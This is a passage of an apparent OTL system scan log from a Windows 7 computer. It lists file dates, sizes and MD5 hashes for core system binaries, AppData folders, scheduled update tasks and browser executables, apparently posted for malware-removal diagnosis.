[2009.07.14 02:39:37 | 000,328,704 | ---- | M] (Microsoft Corporation) MD5=24ACB7E5BE595468E3B9AA488B9B4FCB -- C:\Windows\winsxs\amd64_microsoft-windows-s..s-servicecontroller_31bf3856ad364e35_6.1.7600.16385_none_2b54b20ee6fa07b1\services.exe

< MD5 for: SVCHOST.EXE >
[2009.07.14 02:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) MD5=54A47F6B5E09A77E61649109C6A08866 -- C:\Windows\SysWOW64\svchost.exe
[2009.07.14 02:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) MD5=54A47F6B5E09A77E61649109C6A08866 -- C:\Windows\winsxs\x86_microsoft-windows-services-svchost_31bf3856ad364e35_6.1.7600.16385_none_b591afc466a15356\svchost.exe
[2014.11.21 06:12:42 | 000,761,656 | ---- | M] (MalwareBytes) MD5=625BB08813743947985B0DEEFC35ED12 -- C:\Program Files (x86)\Malwarebytes Anti-Malware\Chameleon\Windows\svchost.exe
[2009.07.14 02:39:46 | 000,027,136 | ---- | M] (Microsoft Corporation) MD5=C78655BC80301D76ED4FEF1C1EA40A7D -- C:\Windows\SysNative\svchost.exe
[2009.07.14 02:39:46 | 000,027,136 | ---- | M] (Microsoft Corporation) MD5=C78655BC80301D76ED4FEF1C1EA40A7D -- C:\Windows\winsxs\amd64_microsoft-windows-services-svchost_31bf3856ad364e35_6.1.7600.16385_none_11b04b481efec48c\svchost.exe

< MD5 for: TCPIP.SYS >
[2014.04.05 03:47:20 | 001,903,552 | ---- | M] (Microsoft Corporation) MD5=04ADD18EE5CC9FBEDAEC1DD1CD0CB45E -- C:\Windows\SysNative\drivers\tcpip.sys
[2014.04.05 03:47:20 | 001,903,552 | ---- | M] (Microsoft Corporation) MD5=04ADD18EE5CC9FBEDAEC1DD1CD0CB45E -- C:\Windows\winsxs\amd64_microsoft-windows-tcpip-binaries_31bf3856ad364e35_6.1.7601.18438_none_113260637d1284ef\tcpip.sys
[2012.10.03 18:56:54 | 001,914,248 | ---- | M] (Microsoft Corporation) MD5=37608401DFDB388CAF66917F6B2D6FB0 -- C:\Windows\winsxs\amd64_microsoft-windows-tcpip-binaries_31bf3856ad364e35_6.1.7601.17964_none_110e0fbd7d2e4b88\tcpip.sys
[2013.09.08 03:30:37 | 001,903,552 | ---- | M] (Microsoft Corporation) MD5=40AF23633D197905F03AB5628C558C51 -- C:\Windows\winsxs\amd64_microsoft-windows-tcpip-binaries_31bf3856ad364e35_6.1.7601.18254_none_1118bb977d265d27\tcpip.sys
[2014.04.05 03:37:43 | 001,897,408 | ---- | M] (Microsoft Corporation) MD5=4F80944B03112F486212DC20BE166079 -- C:\Windows\winsxs\amd64_microsoft-windows-tcpip-binaries_31bf3856ad364e35_6.1.7601.22648_none_11b12f2896383dd1\tcpip.sys
[2010.11.21 04:24:08 | 001,924,480 | ---- | M] (Microsoft Corporation) MD5=509383E505C973ED7534A06B3D19688D -- C:\Windows\winsxs\amd64_microsoft-windows-tcpip-binaries_31bf3856ad364e35_6.1.7601.17514_none_114417c17d05cb37\tcpip.sys
[2013.09.07 03:27:48 | 001,896,896 | ---- | M] (Microsoft Corporation) MD5=75F9106B74585D38C8FF6BB5CAD262D7 -- C:\Windows\winsxs\amd64_microsoft-windows-tcpip-binaries_31bf3856ad364e35_6.1.7601.22444_none_11ad2a34963bde27\tcpip.sys
[2012.10.03 18:44:29 | 001,902,472 | ---- | M] (Microsoft Corporation) MD5=D5707FC2300AA5B04B7BFE86D40C0133 -- C:\Windows\winsxs\amd64_microsoft-windows-tcpip-binaries_31bf3856ad364e35_6.1.7601.22124_none_11c2c45a962baed0\tcpip.sys

< MD5 for: USERINIT.EXE >
[2010.11.21 04:23:55 | 000,026,624 | ---- | M] (Microsoft Corporation) MD5=61AC3EFDFACFDD3F0F11DD4FD4044223 -- C:\Windows\SysWOW64\userinit.exe
[2010.11.21 04:23:55 | 000,026,624 | ---- | M] (Microsoft Corporation) MD5=61AC3EFDFACFDD3F0F11DD4FD4044223 -- C:\Windows\winsxs\x86_microsoft-windows-userinit_31bf3856ad364e35_6.1.7601.17514_none_de3024012ff21116\userinit.exe
[2010.11.21 04:24:28 | 000,030,720 | ---- | M] (Microsoft Corporation) MD5=BAFE84E637BF7388C96EF48D4D3FDD53 -- C:\Windows\SysNative\userinit.exe
[2010.11.21 04:24:28 | 000,030,720 | ---- | M] (Microsoft Corporation) MD5=BAFE84E637BF7388C96EF48D4D3FDD53 -- C:\Windows\winsxs\amd64_microsoft-windows-userinit_31bf3856ad364e35_6.1.7601.17514_none_3a4ebf84e84f824c\userinit.exe

< MD5 for: WINLOGON.EXE >
[2010.11.21 04:24:29 | 000,390,656 | ---- | M] (Microsoft Corporation) MD5=1151B1BAA6F350B1DB6598E0FEA7C457 -- C:\Windows\winsxs\amd64_microsoft-windows-winlogon_31bf3856ad364e35_6.1.7601.17514_none_cde90685eb910636\winlogon.exe
[2014.11.21 06:12:42 | 000,761,656 | ---- | M] (MalwareBytes) MD5=625BB08813743947985B0DEEFC35ED12 -- C:\Program Files (x86)\Malwarebytes Anti-Malware\Chameleon\Windows\winlogon.exe
[2014.03.04 12:08:14 | 000,455,680 | ---- | M] (Microsoft Corporation) MD5=6CE2AE073BD21C542FC2C707CAE944CC -- C:\Windows\winsxs\amd64_microsoft-windows-winlogon_31bf3856ad364e35_6.1.7601.22616_none_ce748d1d04acf24f\winlogon.exe
[2014.03.04 10:43:50 | 000,455,168 | ---- | M] (Microsoft Corporation) MD5=88AB9B72B4BF3963A0DE0820B4B0B06C -- C:\Windows\winsxs\amd64_microsoft-windows-winlogon_31bf3856ad364e35_6.1.7601.18409_none_cdf8bf35eb848572\winlogon.exe
[2014.07.17 03:07:24 | 000,455,168 | ---- | M] (Microsoft Corporation) MD5=8CEBD9D0A0A879CDE9F36F4383B7CAEA -- C:\Windows\SysNative\winlogon.exe
[2014.07.17 03:07:24 | 000,455,168 | ---- | M] (Microsoft Corporation) MD5=8CEBD9D0A0A879CDE9F36F4383B7CAEA -- C:\Windows\winsxs\amd64_microsoft-windows-winlogon_31bf3856ad364e35_6.1.7601.18540_none_cdc47ed1ebad0e4e\winlogon.exe
[2014.07.16 04:23:23 | 000,455,680 | ---- | M] (Microsoft Corporation) MD5=98AA0BFEE089C7E5DADB94190D93456C -- C:\Windows\winsxs\amd64_microsoft-windows-winlogon_31bf3856ad364e35_6.1.7601.22750_none_ce434d9704d2c730\winlogon.exe

< >

< %systemroot%*.* /U /s >
[2 C:\Windows\assembly\NativeImages_v2.0.50727_32\Temp\*.tmp files -> C:\Windows\assembly\NativeImages_v2.0.50727_32\Temp\*.tmp -> ]
[8 C:\Windows\assembly\NativeImages_v2.0.50727_64\Temp\*.tmp files -> C:\Windows\assembly\NativeImages_v2.0.50727_64\Temp\*.tmp -> ]
[1 C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\*.tmp files -> C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\*.tmp -> ]

< %SYSTEMDRIVE%\*.exe >

< %ALLUSERSPROFILE%\Application Data\*. >

< %ALLUSERSPROFILE%\Application Data\*.exe /s >

< %APPDATA%\*. >
[2015.01.10 22:14:11 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\Adobe
[2015.02.20 02:27:52 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\ESET
[2015.01.10 21:14:05 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\Identities
[2015.01.10 22:00:34 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\Macromedia
[2010.11.21 10:38:07 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\Media Center Programs
[2015.02.14 09:14:00 | 000,000,000 | --SD | M] -- C:\Users\Win7\AppData\Roaming\Microsoft
[2015.01.10 21:24:08 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\Mozilla
[2015.01.11 22:03:48 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\PDF Writer
[2015.01.16 09:39:09 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\TeamViewer
[2015.01.10 21:28:22 | 000,000,000 | ---D | M] -- C:\Users\Win7\AppData\Roaming\WinRAR

< %APPDATA%\*.exe /s >

< %systemroot%\*. /mp /s >

< %systemroot%\system32\*.dll /lockedfiles >

< %systemroot%\Tasks\*.job >
[2015.02.20 12:13:33 | 000,000,914 | ---- | M] () -- C:\Windows\Tasks\Adobe Flash Player Updater.job
[2015.02.20 10:45:36 | 000,000,944 | ---- | M] () -- C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
[2015.02.20 12:12:18 | 000,000,948 | ---- | M] () -- C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job

< %systemroot%\system32\drivers\*.sys /lockedfiles >

< %systemroot%\System32\config\*.sav >

< %systemroot%\system32\*.dll /lockedfiles >

< %systemroot%\system32\drivers\*.sys /3 >

< %systemroot%\system32\*.* /3 >
[2015.02.19 23:58:20 | 000,098,216 | ---- | M] (Oracle Corporation) -- C:\Windows\system32\WindowsAccessBridge-32.dll

< %SYSTEMDRIVE%\*.exe >

< >

< HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /s >

< >

< %PROGRAMFILES%\Mozilla Firefox\firefox.exe /md5 >

< %PROGRAMFILES%\Internet Explorer\iexplore.exe /md5 >
[2015.01.14 06:09:46 | 000,815,288 | ---- | M] (Microsoft Corporation) MD5=363BC25BACB34E9D40441968B1B3D5BE -- C:\Program Files (x86)\Internet Explorer\iexplore.exe

< %PROGRAMFILES%\Opera\opera.exe /md5 >

< %PROGRAMFILES%\Google\Chrome\Application\chrome.exe /md5 >
[2015.01.25 22:08:43 | 000,843,592 | ---- | M] (Google Inc.) MD5=41F0E411F79B90CD3D500E44BABC854D -- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

< >